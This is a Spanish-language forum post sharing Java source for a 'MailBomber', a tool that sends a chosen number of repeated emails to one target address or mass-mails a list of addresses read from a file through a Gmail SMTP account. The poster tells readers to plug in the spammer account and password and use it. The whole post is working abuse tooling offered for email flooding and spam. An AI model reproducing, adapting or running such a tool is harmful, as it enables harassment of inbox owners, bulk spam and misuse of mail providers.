¡Hola, Invitado!


Patrocinantes


Síguenos en Facebook


Síguenos en Twitter

Compartir este tema:
[Código] [MailBomber]
Arobavx Sin conexión
Miembro
***

Mensajes: 7
Registro en: Feb 2011
Gracias dados: 0
Gracias recibidos: 0
Mensaje: #1
[MailBomber]
  • Compartir en Delicious
  • Compartir en Digg
  • Compartir en Linkedin
  • Compartir en MySpace
  • Compartir en Technorati
  • Compartir en Tuenti
Cambien el correo por el que sera el spammer y su contraseña y ya.. xD

Exportar la libreria de javamail al proyecto para compilar
Lenguaje JAVA
import java.io.File;
import java.io.FileInputStream;
import java.util.ArrayList;
import java.util.Properties;
import java.util.Scanner;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
 
public class Mailer {
	public static ArrayList<String> listaCorreos = new ArrayList<String>();
	public static Scanner in = new Scanner(System.in);
	public static Scanner on = new Scanner(System.in);
	public static void main(String[] args) {
		System.out.println("1.Mandar correos a una Direccion\n2.Mandar Correos a direcciones en un archivo");
		int d = in.nextInt();
		if(d==1){
			System.out.println("Ingresar Numero de Mensajes :");
			int num = in.nextInt();
			System.out.println("Ingresar Direccion de destino :");
			String sda = in.next();
			System.out.println("Ingresar Mensaje a enviar :");
			String da = on.nextLine();
			Bomber(num,da,sda);
		}else if(d==2){
			System.out.println("Ingresar Direccion del Archivo :");
			String dir = on.nextLine();
			System.out.println("Ingresar Mensaje a enviar :");
			String da = in.nextLine();
			EnvioMasivo(dir, da);
		}
 
		}
	public static void Leer_Archivo(String Direccion){
		File ArchL = new File(Direccion);
		try {
		FileInputStream streamArch = new FileInputStream(ArchL);
		int i = streamArch.available();
 
		byte [] b = new byte[i];
		String correo="";
		for(int c=0;c<i;c++){
			b[c]=(byte)streamArch.read();
			if((int)b[c] == 10){
				listaCorreos.add(correo);
				correo="";
			}
			if((int)b[c]!= 13){
			correo+=(char)b[c];
			}
		}
		} catch (Exception e) {
			System.out.println("Error al leer el archivo espesificado");
		}
	}
	public static void EnvioMasivo(String archivo, String Mensaje){
		Leer_Archivo(archivo);
		System.out.println("Se enviara el mensaje a los siguientes correos : ");
		MostrarCorreos();
		System.out.println("Esta seguro? : s/n");
		String SioNo = in.next();
		if(SioNo.equals("s")){
		for(String s : listaCorreos){
			Enviar(Mensaje,s);
		}
		} else {System.out.println("-.-");}
	}
	public static void MostrarCorreos(){
		for(String s : listaCorreos){
			System.out.print(s);
		}
	}
 
	public static void Bomber(int cantidad , String Mensaje, String Destino){
		for(int i=1; i<=cantidad;i++){
			Enviar(Mensaje , Destino);
		}
	}
	public static void Enviar (String Mensaje , String Destino){
		System.out.println("Mandando Correo a : " + Destino);
		try {
			Properties props = new Properties();
			props.setProperty("mail.smtp.host", "smtp.gmail.com");
			props.setProperty("mail.smtp.starttls.enable", "true");
			props.setProperty("mail.smtp.port", "587");
			props.setProperty("mail.smtp.user", "arobavx@gmail.com");
			props.setProperty("mail.smtp.auth", "true");
			System.out.println("Enviando…");
			Session session = Session.getDefaultInstance(props);
			MimeMessage message = new MimeMessage(session);
			message.setFrom(new InternetAddress("arobavx@gmail.com"));
			message.addRecipient(
					Message.RecipientType.TO,
					new InternetAddress(Destino));
			message.setSubject("Asunto");
			message.setText(Mensaje);
			Transport t = session.getTransport("smtp");
			t.connect("arobavx@gmail.com", "contrasenha");
			t.sendMessage(message, message.getAllRecipients());
			t.close();
 
			System.out.println("Email Enviado!");
			}
		catch (Exception e)
		{
			System.out.println("Error al enviar el mensaje");
		}
 
	}
}

Saludos
04-05-2011 12:34 PM
Buscar Citar




Usuario(s) navegando en este tema: 1 invitado(s)